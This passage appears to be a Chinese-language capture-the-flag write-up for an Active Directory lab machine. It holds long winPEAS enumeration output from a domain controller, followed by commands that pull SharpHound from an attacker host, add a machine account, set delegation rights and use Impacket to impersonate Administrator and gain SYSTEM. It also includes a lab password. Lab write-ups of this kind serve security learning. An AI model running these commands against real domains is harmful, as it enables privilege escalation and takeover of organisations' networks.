TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 672
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 1480
TCP 0.0.0.0:49675 0.0.0.0:0 LISTENING 1148
TCP 0.0.0.0:49676 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:49677 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:49680 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:49686 0.0.0.0:0 LISTENING 808
TCP 0.0.0.0:49711 0.0.0.0:0 LISTENING 2580
TCP 0.0.0.0:53380 0.0.0.0:0 LISTENING 2520
TCP 10.10.11.95:53 0.0.0.0:0 LISTENING 2580
TCP 10.10.11.95:139 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 2580
TCP 127.0.0.1:1434 0.0.0.0:0 LISTENING 4088
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:88 [::]:0 LISTENING 816
TCP [::]:135 [::]:0 LISTENING 948
TCP [::]:389 [::]:0 LISTENING 816
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:464 [::]:0 LISTENING 816
TCP [::]:593 [::]:0 LISTENING 948
TCP [::]:636 [::]:0 LISTENING 816
TCP [::]:1433 [::]:0 LISTENING 4088
TCP [::]:3268 [::]:0 LISTENING 816
TCP [::]:3269 [::]:0 LISTENING 816
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:9389 [::]:0 LISTENING 2440
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 816
TCP [::]:49665 [::]:0 LISTENING 672
TCP [::]:49666 [::]:0 LISTENING 816
TCP [::]:49668 [::]:0 LISTENING 1480
TCP [::]:49675 [::]:0 LISTENING 1148
TCP [::]:49676 [::]:0 LISTENING 816
TCP [::]:49677 [::]:0 LISTENING 816
TCP [::]:49680 [::]:0 LISTENING 816
TCP [::]:49686 [::]:0 LISTENING 808
TCP [::]:49711 [::]:0 LISTENING 2580
TCP [::]:53380 [::]:0 LISTENING 2520
TCP [::1]:53 [::]:0 LISTENING 2580
TCP [::1]:1434 [::]:0 LISTENING 4088
TCP [dead:beef::d2e0:49f1:98bb:efc8]:53 [::]:0 LISTENING 2580
TCP [fe80::ce16:4869:d1d:d08c%3]:53 [::]:0 LISTENING 2580
0x1B[33m[+]0x1B[97m FIREWALL
Firewall status:
-------------------------------------------------------------------
Profile = Domain
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Disable
Group policy version = Windows Defender Firewall
Remote admin mode = Disable
Ports currently open on all network interfaces:
Port Protocol Version Program
-------------------------------------------------------------------
53 UDP Any (null)
5985 TCP Any (null)
1433 TCP Any (null)
80 TCP Any (null)
5985 TCP Any (null)
IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at https://go.microsoft.com/fwlink/?linkid=121488 .
Domain profile configuration (current):
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Disable
Allowed programs configuration for Domain profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Port configuration for Domain profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
53 UDP Enable Inbound Allow DNS - Domain Only
5985 TCP Enable Inbound Allow WinRM - Any IP
1433 TCP Enable Inbound Allow MSSQL - Any IP
80 TCP Enable Inbound Allow HTTP - Any IP
5985 TCP Enable Inbound Allow WinRM
5000 TCP Disable Inbound Web App over 5000
1433 TCP Disable Inbound SQL Server TCP 1433
Standard profile configuration:
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Disable
Allowed programs configuration for Standard profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Port configuration for Standard profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
53 UDP Enable Inbound Allow DNS - Domain Only
5985 TCP Enable Inbound Allow WinRM - Any IP
1433 TCP Enable Inbound Allow MSSQL - Any IP
80 TCP Enable Inbound Allow HTTP - Any IP
5985 TCP Enable Inbound Allow WinRM
5000 TCP Disable Inbound Web App over 5000
1433 TCP Disable Inbound SQL Server TCP 1433
Log configuration:
-------------------------------------------------------------------
File location = C:\WINDOWS\system32\LogFiles\Firewall\pfirewall.log
Max file size = 4096 KB
Dropped packets = Disable
Connections = Disable
IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at https://go.microsoft.com/fwlink/?linkid=121488 .
0x1B[33m[+]0x1B[97m ARP
Interface: 10.10.11.95 --- 0x3
Internet Address Physical Address Type
10.10.10.2 00-50-56-b9-23-97 dynamic
10.10.11.78 00-50-56-b9-46-a9 dynamic
10.10.11.89 00-50-56-b9-4a-92 dynamic
10.10.11.93 00-50-56-b9-0a-ed dynamic
10.10.11.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.252 01-00-5e-00-00-fc static
0x1B[33m[+]0x1B[97m ROUTES
===========================================================================
Interface List
3...00 50 56 b9 7c 1e ......vmxnet3 Ethernet Adapter
1...........................Software Loopback Interface 1
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 10.10.10.2 10.10.11.95 16
10.10.10.0 255.255.254.0 On-link 10.10.11.95 271
10.10.11.95 255.255.255.255 On-link 10.10.11.95 271
10.10.11.255 255.255.255.255 On-link 10.10.11.95 271
127.0.0.0 255.0.0.0 On-link 127.0.0.1 331
127.0.0.1 255.255.255.255 On-link 127.0.0.1 331
127.255.255.255 255.255.255.255 On-link 127.0.0.1 331
224.0.0.0 240.0.0.0 On-link 127.0.0.1 331
224.0.0.0 240.0.0.0 On-link 10.10.11.95 271
255.255.255.255 255.255.255.255 On-link 127.0.0.1 331
255.255.255.255 255.255.255.255 On-link 10.10.11.95 271
===========================================================================
Persistent Routes:
Network Address Netmask Gateway Address Metric
0.0.0.0 0.0.0.0 10.10.10.2 1
===========================================================================
IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
3 271 ::/0 fe80::250:56ff:feb9:2397
1 331 ::1/128 On-link
3 271 dead:beef::/64 On-link
3 271 dead:beef::d2e0:49f1:98bb:efc8/128
On-link
3 271 fe80::/64 On-link
3 271 fe80::ce16:4869:d1d:d08c/128
On-link
1 331 ff00::/8 On-link
3 271 ff00::/8 On-link
===========================================================================
Persistent Routes:
None
0x1B[33m[+]0x1B[97m Hosts file
0x1B[33m[+]0x1B[97m DNS CACHE
Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _gc._tcp.Default-First-Site-Name._sites.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _kerberos._tcp.Default-First-Site-Name._sites.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _gc._tcp.DC01.eighteen.htb.
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.pdc._msdcs.eighteen.htb.
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _kpasswd._udp.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.DC01.eighteen.htb.
Record Name . . . . . : DomainDnsZones.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : ForestDnsZones.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _gc._tcp.Default-First-Site-Name._sites.DC01.eighteen.htb.
Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.eighteen.htb.
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.DomainDnsZones.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.ForestDnsZones.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : EIGHTEEN.htb
Record Name . . . . . : EIGHTEEN.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.eighteen.htb.
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.DC01.eighteen.htb.
Record Name . . . . . : 9fe36514-8a7d-4515-95fa-ee82d3143068._msdcs.eighteen.htb
Record Name . . . . . : _kerberos._tcp.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.ffbf214a-6cd4-464a-940d-22fdbae2d036.domains._msdcs.eighteen.htb.
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _kpasswd._tcp.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.eighteen.htb.
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.gc._msdcs.eighteen.htb.
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : gc._msdcs.eighteen.htb.
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.dc._msdcs.eighteen.htb.
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _gc._tcp.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _kerberos._udp.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.eighteen.htb.
Record Name . . . . . : eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
Record Name . . . . . : _kerberos._tcp.dc._msdcs.eighteen.htb.
Record Name . . . . . : _msdcs.eighteen.htb
Record Name . . . . . : dc01.eighteen.htb
A (Host) Record . . . : 10.10.11.95
Record Name . . . . . : dc01.eighteen.htb
0x1B[33m[+]0x1B[97m WIFI
0x1B[32m[*]0x1B[97m BASIC USER INFO
[i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
0x1B[33m[+]0x1B[97m CURRENT USER
User name adam.scott
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/29/2025 4:42:11 AM
Password expires Never
Password changeable 10/29/2025 4:42:11 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/19/2025 12:35:19 AM
Logon hours allowed All
Local Group Memberships
Global Group memberships *IT *Domain Users
The command completed successfully.
User name adam.scott
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/29/2025 4:42:11 AM
Password expires Never
Password changeable 10/29/2025 4:42:11 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/19/2025 12:35:19 AM
Logon hours allowed All
Local Group Memberships
Global Group memberships *IT *Domain Users
The command completed successfully.
USER INFORMATION
----------------
User Name SID
=================== =============================================
eighteen\adam.scott S-1-5-21-1152179935-589108180-1989892463-1609
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
EIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
0x1B[33m[+]0x1B[97m USERS
User accounts for \\
-------------------------------------------------------------------------------
adam.scott Administrator alice.jones
bob.brown carol.white dave.green
Guest jamie.dunn jane.smith
krbtgt mssqlsvc
The command completed with one or more errors.
0x1B[33m[+]0x1B[97m GROUPS
Aliases for \\DC01
-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Account Operators
*Administrators
*Allowed RODC Password Replication Group
*Backup Operators
*Cert Publishers
*Certificate Service DCOM Access
*Cryptographic Operators
*Denied RODC Password Replication Group
*Distributed COM Users
*DnsAdmins
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Incoming Forest Trust Builders
*Network Configuration Operators
*OpenSSH Users
*Performance Log Users
*Performance Monitor Users
*Pre-Windows 2000 Compatible Access
*Print Operators
*RAS and IAS Servers
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Replicator
*Server Operators
*SQLServer2005SQLBrowserUser$DC01
*Storage Replica Administrators
*Terminal Server License Servers
*Users
*Windows Authorization Access Group
The command completed successfully.
0x1B[33m[+]0x1B[97m ADMINISTRATORS GROUPS
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
0x1B[33m[+]0x1B[97m CURRENT LOGGED USERS
0x1B[33m[+]0x1B[97m Kerberos Tickets
Current LogonId is 0:0x169f4d
Error calling API LsaCallAuthenticationPackage (ShowTickets substatus): 1312
klist failed with 0xc000005f/-1073741729: A specified logon session does not exist. It may already have been terminated.
0x1B[33m[+]0x1B[97m CURRENT CLIPBOARD
[i] Any passwords inside the clipboard?
0x1B[32m[*]0x1B[97m SERVICE VULNERABILITIES
0x1B[33m[+]0x1B[97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
0x1B[33m[+]0x1B[97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
0x1B[33m[+]0x1B[97m UNQUOTED SERVICE PATHS
[i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
[i] The permissions are also checked and filtered using icacls
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
0x1B[32m[*]0x1B[97m DLL HIJACKING in PATHenv variable
[i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
[i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking
C:\WINDOWS\system32 NT SERVICE\TrustedInstaller:(F)
C:\WINDOWS NT SERVICE\TrustedInstaller:(F)
C:\WINDOWS\System32\Wbem NT SERVICE\TrustedInstaller:(F)
C:\Users\adam.scott\AppData\Local\Microsoft\WindowsApps NT AUTHORITY\SYSTEM:(OI)(CI)(F)
EIGHTEEN\adam.scott:(OI)(CI)(F)
0x1B[32m[*]0x1B[97m CREDENTIALS
0x1B[33m[+]0x1B[97m WINDOWS VAULT
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault
Currently stored credentials:
* NONE *
0x1B[33m[+]0x1B[97m DPAPI MASTER KEYS
[i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
0x1B[33m[+]0x1B[97m DPAPI MASTER KEYS
[i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
[i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
Looking inside C:\Users\adam.scott\AppData\Roaming\Microsoft\Credentials\
Looking inside C:\Users\adam.scott\AppData\Local\Microsoft\Credentials\
0x1B[33m[+]0x1B[97m Unattended files
0x1B[33m[+]0x1B[97m SAM and SYSTEM backups
C:\WINDOWS\System32\config\RegBack\SAM exists.
C:\WINDOWS\System32\config\SAM exists.
C:\WINDOWS\System32\config\SYSTEM exists.
C:\WINDOWS\System32\config\RegBack\SYSTEM exists.
0x1B[33m[+]0x1B[97m McAffee SiteList.xml
Volume in drive C has no label.
Volume Serial Number is E154-392A
Volume in drive C has no label.
Volume Serial Number is E154-392A
Volume in drive C has no label.
Volume Serial Number is E154-392A
Volume in drive C has no label.
Volume Serial Number is E154-392A
0x1B[33m[+]0x1B[97m GPP Password
0x1B[33m[+]0x1B[97m Cloud Credentials
0x1B[33m[+]0x1B[97m AppCmd
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
C:\WINDOWS\system32\inetsrv\appcmd.exe exists.
0x1B[33m[+]0x1B[97m Files in registry that may contain credentials
[i] Searching specific files that may contains credentials.
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
Looking inside HKCU\Software\ORL\WinVNC3\Password
Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
W3SVC REG_SZ Software\Microsoft\W3SVC\CurrentVersion
Looking inside HKCU\Software\TightVNC\Server
Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
Looking inside HKCU\Software\OpenSSH\Agent\Keys
C:\Windows\Panther\setupinfo
C:\Windows\System32\ntds.dit
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\SYSTEM
C:\Windows\System32\inetsrv\appcmd.exe
C:\Windows\SysWOW64\inetsrv\appcmd.exe
C:\Windows\WinSxS\amd64_ipamprov-dcnps_31bf3856ad364e35_10.0.26100.1_none_9d2b56c4fa8170ef\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_ipamprov-dhcp_31bf3856ad364e35_10.0.26100.1_none_711de9cf5b883578\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_ipamprov-dns_31bf3856ad364e35_10.0.26100.1_none_8e7ff435ff83ab16\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_microsoft-windows-d..rvices-domain-files_31bf3856ad364e35_10.0.26100.1_none_97feb69aabeca891\ntds.dit
C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.1150_none_4572dc061ff88008\appcmd.exe
C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.3775_none_45338ef62027d4cf\appcmd.exe
C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.3775_none_45338ef62027d4cf\r\appcmd.exe
C:\Windows\WinSxS\amd64_microsoft-windows-webenroll.resources_31bf3856ad364e35_10.0.26100.1_en-us_805d1a6bcb132150\certnew.cer
C:\Windows\WinSxS\wow64_ipamprov-dcnps_31bf3856ad364e35_10.0.26100.1_none_a78001172ee232ea\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_ipamprov-dhcp_31bf3856ad364e35_10.0.26100.1_none_7b7294218fe8f773\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_ipamprov-dns_31bf3856ad364e35_10.0.26100.1_none_98d49e8833e46d11\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.1_none_b0d3de420cfbf405\appcmd.exe
C:\Windows\WinSxS\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.3775_none_4f883948548896ca\appcmd.exe
C:\Windows\WinSxS\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.3775_none_4f883948548896ca\r\appcmd.exe
C:\inetpub\Default\web.config
C:\inetpub\eighteen.htb\web.config
C:\inetpub\logs\LogFiles\W3SVC2\u_ex251111.log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex251119.log
---
Scan complete.同时,再使用 bloodhound 的sharphound.exe 来进行收集
Invoke-WebRequest -Uri 'http://10.10.16.69:8089/SharpHound.exe' -OutFile "$env:USERPROFILE\Desktop\SharpHound.exe"然后下载下来,上传到 bloodhound 来进行分析,并且设置为已经拥有的
然后再去查询一下
就可以想办法提权了,这里提权的过程太多,就不展示了,因为最后发现不能这样提,在利用了所有以及知道的漏洞以后,发现在开始的时候忽略了一个重要的信息,就是他的版本是Windows Server 2025 Build 26100,这个在nxc扫描的时候会显示出来,而在nmap的时候并没有展示,这个时候就想起了一个Windows Server 2025 Build 26100最新的漏洞 BadSuccessor - Active Directory权限提升漏洞,在使用检测工具之后发现,确实存在这个漏洞
C:\Users\adam.scott\Desktop> .\Get-BadSuccessorOUPermissions.ps1
Identity OUs
-------- ---
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}在 Windows Server 2025 中,Microsoft 引入了委派托管服务帐户 (dMSA) 功能。dMSA 是 Active Directory (AD) 中的一种新型服务帐户,用于扩展组托管服务账户的功能。dMSA 的一项主要功能是,它能够通过将现有的非托管服务帐户无缝转换为 dMSA 来迁移这些帐户。这里如果想要去研究这个漏洞的原理的话可以直接去搜索。
dentity: 具有创建dMSA权限的用户或服务账户
OUs: 对应身份具有权限的组织单位列表
现在对BadSuccessor - Active Directory权限提升漏洞进行利用,首先这里使用的是 ligolo-proxy,工具使用就不操作了,这里上传agent.exe 然后连接就行
首先使用 bloodyAD 创建计算机账户 hackheart,并将其放在 OU=Staff,DC=eighteen,DC=htb。
bloodyAD --dc-ip 240.0.0.1 -d eighteen.htb -u adam.scott -p iloveyou1 \
add computer hackheart 'QWEqwe123@!@#cca' \
--ou 'OU=Staff,DC=eighteen,DC=htb'为 hackheart$ 设置 RBCD 权限,允许它代表任意用户。
bloodyAD --dc-ip 240.0.0.1 -d eighteen.htb -u adam.scott -p iloveyou1 \
add rbcd hackheart$ S-1-5-10使用计算出的 NTLM 哈希值获取 hackheart$ 的 TGT。
impacket-getTGT -dc-ip 240.0.0.1 eighteen.htb/hackheart$ -hashes :e1ef97f47aa5e6ae5259b3d26fced36b获取 TGT 后,使用 impacket-getST 获取 Silver Ticket,代表 Administrator 访问 ldap/dc01.eighteen.htb 服务。
export KRB5CCNAME=hackheart$.ccache
impacket-getST -dc-ip 240.0.0.1 -spn ldap/dc01.eighteen.htb -impersonate Administrator eighteen.htb/hackheart$ -k -no-pass最后,使用 impacket-psexec 登录到域控 dc01.eighteen.htb,并获取 SYSTEM 权限。
export KRB5CCNAME=hackheart$.ccache
impacket-psexec -k -no-pass eighteen.htb/hackheart$@dc01.eighteen.h通过MSSQL低权账户登录,利用权限冒用访问敏感数据库,结合Windows Server 2025最新提权漏洞BadSuccessor实现域控接管
由 AI 根据全文自动生成,仅供参考,以原文为准